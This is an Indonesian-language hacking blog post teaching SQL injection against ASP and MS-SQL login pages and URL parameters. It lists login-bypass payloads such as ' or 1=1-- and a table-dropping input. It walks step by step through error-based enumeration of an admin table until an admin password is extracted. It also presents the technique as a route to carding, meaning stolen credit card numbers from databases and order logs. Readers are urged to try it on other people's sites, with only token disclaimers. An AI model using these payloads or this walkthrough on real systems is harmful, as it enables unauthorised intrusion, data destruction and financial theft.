Saturday, 20-April-2024, 01:56:54
Welcome Guest
Main | | Registration | Login
Site menu

Section categories
HACKER [10]
Disini kita membahas tentang Hacking pada Kartu Kredit, yang disadur dari Jawa Pos.

Tag Board
500

Our poll
Rate my site
Total of answers: 4

Statistics

Total online: 1
Guests: 1
Users: 0

Login form

Main » 2011 » January » 30 » HACKING TUTORIAL - 9
11:27:39
HACKING TUTORIAL - 9

SQL INJECTION

         Sebelum membahas tentang sql injection pertama-tama saya akan menerangkan apa itu sql injection dan kenapa bisa terjadi.
Sebenernya SQL injection terjadi ketika attacker bisa meng insert beberapa SQL statement ke 'query' dengan cara manipulasi data input ke applikasi tsb.
Diantara DB format seperti PHP MySQL dan ASP MSACCESS atau dengan MySql ,
disini gw cuma akan membahas tentang ASP MsSql yang udah dicoba pada IIS 5 dan
beberapa sql injection pada url.
Biasa Sql Injection dilakukan pada login page pada asp seperti di :
admin\login.asp
login.asp
Jadi yang akan menjadi target itu page tersebut, sekarang kita mulai aja dengan dasar-dasar sql injection :d.
Biasanya di sql statment
select id, user_name, password from user
maksudnya perintah diatas menghasilkan data id, user_name dan password pada table user.
Biasanya pada login page dengan mengunakan statment result setnya sebagai berikut :
select id, user_name,password from user where name = 'echo' and password='password'
Pada IIS dan ASP apabila terdapat kesalahan sintax scr i pt akan diberi tau dan ditampilkan di browser
Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'jopi' SQL atau "Structured Query Language"
seharusnya tidak menyentuh system calls. Tetapi tidak dengan MSSQL.
Nah, ga tau kenapa karakter single quote 'breaks out' dari delimiter nya SQL. Jadi kalau misal ada inputan
User: echo';drop table user--
dan akibatnya akan fatal , dan artinya adalah kita menghapus table user dan akan kosong deh tuh loginya :D
oh iya '--' merupakan mark nya MSSQL, jadi perintah selanjutnya nggak di execute.
Sekarang untuk lebih jelasnya kita secara langsung pada login scr i pt seperti
input login password. Nama field nya 'login' dan 'pass'. dan
SQL nya di asp: var sql = select * from users where username='" login "' and password='" pass"'";
coba kalau ada inputan: login: ';drop table users-- pass: chfn (*wink* negative)

pasti ke drop table users
Aduh pada pusing ya , gini deh cara gampangnya and kita lupakan yang diatas :P kita langsung praktek aja>
Coba cari disitus-situs yang menggunakan asp dan MsSql sebagai DB nya (kalau anda punya situs belanja online milik Anda sendiri, lebih baik diujicoba di situs sendiri sehingga tidak merugikan orang lain), lalu cari login.asp atau
admin\login.asp.
Kalau udah dapet masukin nich variable sql nya

user:admin
pass:' or 1=1--

Ingat kita disini hanya coba-coba kali aja dba nya ga pinter :d
atau :
user:' or 1=1--
admin:' or 1=1--

Gak bisa nich gimana ya ?
Inget sekarang rata-rata para admin pada pinter semua , kita cari yg gombol aja deh untuk tes kalau ga lo bisa buat sendiri scr i pt dan tes karena gw udah coba buat sendiri dan berhasil tanpa melakukan paket filter pada db nya. Untuk test apakah suatu page mempunyai vulnerable , begini caranya :
Kalian pernah melihat pada halaman-halaman ASP,JSP,PHP dan CGI yang didalam addressnya :
http://victim/index.asp?id=10
Selain kita test dengan login page diatas tadi, kita test dalam melakukan sedikit tambahan
pada addressnya seperti memasukan : test'1=1--
menjadi http://victim/index.asp?id=test'1=1--
Kita juga bisa juga melakukan xss dengan sql injection ini , coba download source HTML dari page target lalu kita tamhankan hidden field pada source tersebut sebagai contoh :
action="http://victim/admin/login.asp" method="post">


Apabila beruntung kita apabila membuka page tersebut tidak perlu memasukan password dan username. Ingat scr i pt ini ditamhakna pd scr i pt yg sudah kalian download dr target .
Variable ' or 1=1--
Mungkin pada bertanya-tanya kenapa mengunakan variable 'or 1=1-- dan sangat penting.Lihat contoh:
Pada sebuah web tertulis http://victim/index.asp?category=laptop
Dalam url tesebut category adalah variable name dan komputer adalah masukan untuk variable name tsb .
Kalau ditulis dalam scr i pt ASP maka akan menjadi :
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
Data yang kita masukan seperti komputer akan masuk ke dalam v_cat variable dan pd sql statment menjadi
SELECT * FROM product WHERE PCategory='laptop'
Lalu apa hub dengan 'or 1=1---
coba kalau kita ganti http://victim/index.asp?category=laptop menjadi
http://victim/index.asp?category=laptop'or 1=1--
Kita lihat varible v_cat sekarang menjadi laptop'or 1=1-- lalu dalam SQL query nya menjadi
SELECT * FROM product WHERE PCategory='laptop' or 1=1--'
Artinya v_cat mendapatkan masukan berupa variable laptop atau var 1=1(kosong) yang menyebabkan Sql Server menjadi bingung dan akan mengeksekusi Select * pada table tsb yang mengakibatkan kita bisa masuk kedalam db teserbut dan db tsb tdk berfungsi :d. Lalu tanda -- merupakan mark dari sql untuk ignore semua perintah. Bisa dibayangkan kalau terjadi pada login page Kita bisa masuk kedalam login page tanpa password dan user name :d.
Kemungkinan-kemungkinan variable lainya :
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a

       Selain masuk kedalam page tersebut kita juga bisa memanfaatkannya untuk remote execution dengan sql Injection. Ingat ini hanya sebagai latihan pembelajaran, jangan disalahgunakan, saya tidak ingin mendapat dosa kolektif hanya karena gara-gara Anda tiba-tiba tergoda oleh setan dan menjadi orang yang jahat. Ingat menjadi jahat itu perbuatan dosa! Neraka akan menunggu Anda!

       Sebenarnya SQL Injection ini merupakan sebuah metode tersendiri dalam dunia hacking. Hanya saja SQL Injection dapat digunakan untuk aktivitas carding. Persoalan apa dan bagaimana SQL Injection tidak akan saya singgung lagi, karena sudah dibahas di bagian paling awal dalam artikel ini. Boleh dibilang, saya hanya mengulas kembali apa yang sudah saya jelaskan dibagian awal tadi.
Melalui SQL Injection, maka seseorang bisa memasuki sebuah sistem. Entah bagaimanapun caranya. Cara yang paling sederhana adalah dengan menggunakan password dan account-nya: 'or"='
Bisa juga accountnya: admin, lalu passwordnya: 'or"='
Dengan cara tersebut, maka seseorang bisa memasuki sebuah sistem, seolah-olah dia adalah admin situs tersebut. Tentu saja admin gadungan tersebut bisa mengobok-obok sebuah sistem. Di dalamnya, admin tersebut bisa mendownload file database yang tentu saja mengandung nomor kartu kredit di dalamnya.
Selain itu, juga bisa melakukan aktivitas instant carding, yaitu dengan melihat file order.log ataupun order.txt.
Maaf, saya tidak menjelaskan teknik SQL Injection dengan mengakses tabel per tabel. Saya hanya mau menunjukkan konsepnya saja.

Berikut ini ada beberapa kemungkinan lain password yang bisa dicoba seperti:
'or'a'='a
'or1=1-
"or1=1--
or1=1--
'or'a'='a
"or"a"="a
')or('a'='a

         Saya tebak, anda pasti sudah sering mendengar istilah "SQL Injection", bukan ?
Anda tahu betapa berbahaya bug yang satu ini ?
Berikut akan kita sajikan hal lain mengenai step by step SQL Injection ini.
Catatan : kita akan membatasi bahasan pada SQL Injection di MS-SQL Server.

Kita akan mengambil contoh di site http://www.situs-target.com/
Misalnya ada dua kelemahan di website ini, yaitu:
1. Tabel News
2. Tabel Admin

Langkah pertama, kita tentukan lubang mana yang bisa di-inject
dengan jalan berjalan-jalan (enumeration) dulu di site tsb.
Kita akan menemukan 2 model cara input parameter, yaitu dengan
cara memasukkan lewat input box dan memasukkannya lewat
alamat URL.

Kita ambil yang termudah dulu, dengan cara input box.
Kemudian kita cari kotak login yang untuk admin.
Ketemu di www.situs-target.com/sipm/admin/admin.asp
Langkah pertama untuk menentukan nama tabel dan fieldnya,
kita inject kotak NIP dengan perintah (password terserah, cabang
biarkan aja):
' having 1=1--
jangan lupa untuk menuliskan tanda kutip tunggal dan tanda
minus dobel (penting).
Kemudian akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.NOMOR' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Keluarlah nama field pertama kita !!!
Catat nama tabel : T_ADMIN
Catat nama field : NOMOR

Kemudian kita akan mencari nama field-field berikutnya,
beserta nama tabel yang mungkin berbeda-beda.
Kita inject di kotak NIP (password terserah):
' group by T_ADMIN.NOMOR having 1=1--
Akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.NIP' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya itulah nama tabel dan field kedua kita.
Catat : T_ADMIN.NIP

Kemudian kita cari field ke tiga :
' group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1--
Akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.PASSWORD' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Catat field ke tiga : T_ADMIN.PASSWORD

Lakukan langkah di atas sampai kita menemukan field terakhir.
Berikut adalah pesan error yang terjadi, jika kita mengecek
field terakhir dengan meng-inject:
' group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,
T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ADMIN.EMAIL
having 1=1--
(catatan : kalimat harus 1 baris, tidak dipotong)
--------------------
- NIP atau Password atau Unit Anda salah !! -
--------------------
Sukses !!! Kita berhasil menemukan field terakhir.
Daftar kolom (field):
T_ADMIN.NOMOR
T_ADMIN.NIP
T_ADMIN.PASSWORD
T_ADMIN.NAMA
T_ADMIN.KD_RANTING
T_ADMIN.ADDRESS
T_ADMIN.EMAIL
Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),
ini akan mempermudah proses kita selanjutnya.

Langkah berikutnya, kita menentukan jenis struktur field-
field tersebut di atas.

Kita inject di kotak NIP (pass terserah) :
' union select sum(NOMOR) from T_ADMIN--
Arti dari query tersebut adalah : kita coba menerapkan
klausa sum sebelum menentukan apakah jumlah kolom-kolom
di dua rowsets adalah sejenis.
Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)
yang berlaku untuk type kolom numerik, jadi untuk type kolom
yang bukan numerik, akan keluar error yang bisa memberitahu
kita jenis kolom yang dimaksud.
Pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries
in an SQL statement containing a UNION operator must have
an equal number of expressions in their target lists.
/sipm/admin/dologin.asp, line 7
--------------------
artinya kolom NOMOR berjenis numerik.

Berikutnya kita inject :
' union select sum(NIP) from T_ADMIN--
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum
or average aggregate operation cannot take a char data
type as an argument.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya kolom NIP bertype char.

Kita harus mengulang perintah di atas untuk kolom yang
berikutnya dengan jalan mengganti nama_kolom di :
' union select sum(nama_kolom) from T_ADMIN--
dengan kolom yang berikutnya.
Kita peroleh 7 type kolom:
T_ADMIN.NOMOR => numeric
T_ADMIN.NIP => char
T_ADMIN.PASSWORD => nvarchar
T_ADMIN.NAMA => char
T_ADMIN.KD_RANTING => char
T_ADMIN.ADDRESS => nvarchar
T_ADMIN.EMAIL => char

Langkah berikutnya, kita akan mencari isi kolom password,
untuk user admin, dengan meng-inject :
' union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > 'a'--
artinya kita memilih minimum nama user yang lebih besar dari 'a'
dan mencoba meng-konvert-nya ke tipe integer.
Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih
kolom NAMA, dan mengabaikan 6 kolom yang lain.
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value 'bill ' to
a column of data type int.
/sipm/admin/dologin.asp, line 7
--------------------
Anda lihat :
varchar value 'bill '
'bill' itu adalah nama user di record yang terakhir dimasukkan,
atau isi kolom NAMA di record yang terakhir dimasukkan.

Selanjutnya kita inject :
' union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where
NAMA = 'bill'--
catatan : harus sebaris (tidak dipotong).
Akan keluar error :
---------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the nvarchar value 'm@mpusk@u' to a
column of data type int.
/sipm/admin/dologin.asp, line 7
---------------------
Artinya kita berhasil !!!
Kita dapatkan
[ ] NAMA = bill
[ ] PASSWORD = m@mpusk@u

Silahkan login ke :
www.situs-target.com/sipm/admin/admin.asp
dengan account di atas, sedang nama cabang, silahkan anda
isi sendiri dengan cara coba-coba

Atau kita pakai jalan pintas saja....

Kita inject-kan :
' union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN
where NAMA ='bill'--
catatan : harus satu baris.
Duarrrrrr..........
Glodhak.............
Langsung masuk ke menu admin.
Ingat : jangan buat kerusakan ! beritahu sang admin, bahwa websitenya vulnerable !!!

Lubang ke dua adalah pada bagian berita.
Pada dasarnya berita di situ adalah isi dari tabel yang
lain lagi. Jadi tetep bisa kita inject !!!
Bedanya, kita harus memasukkan parameter di alamat URL-nya.
Contoh :
www.situs-target.com/dari_Media.asp?id=2119&idm=40&idSM=2
ada parameter id dan idSM.
Setelah kita coba inject, ternyata yang berpengaruh adalah
parameter id aja (CMIIW).

Kita inject-kan :
www.situs-target.com/dari_Media.asp?id=2119' having 1=1--
akan keluar pesan error :
---------------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'tb_news.NewsId' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/dari_Media.asp, line 58
---------------------------
artinya 'tb_news.NewsId' itulah nama tabel dan kolom kita
yang pertama.

Ulangi langkah-langkah kita di atas sampai didapatkan :
tb_news.NewsId => numeric
tb_news.NewsCatId => numeric
tb_news.EntryDate => datetime
tb_news.Title => nvarchar
tb_news.Content =>
tb_news.FotoLink =>
tb_news.FotoType => bit data
tb_news.review =>
tb_news.sumber => char
tb_news.dateagenda => datetime

Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan pengetahuan anda. Anda bisa men-insert berita yang bisa anda tentukan sendiri isinya.
Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.

Attachments: Image 1
Category: HACKER | Views: 1323 | Added by: Pendekar | Tags: | Rating: /
Total comments: 0
Only registered users can add comments.
[ Registration | Login ]
Search

Calendar
«  January 2011  »
SuMoTuWeThFrSa
      1
2345678
9101112131415
16171819202122
23242526272829
3031

Entries archive

Site friends
  • Create a free website

  • Copyright Busi Nekat,corp © 2024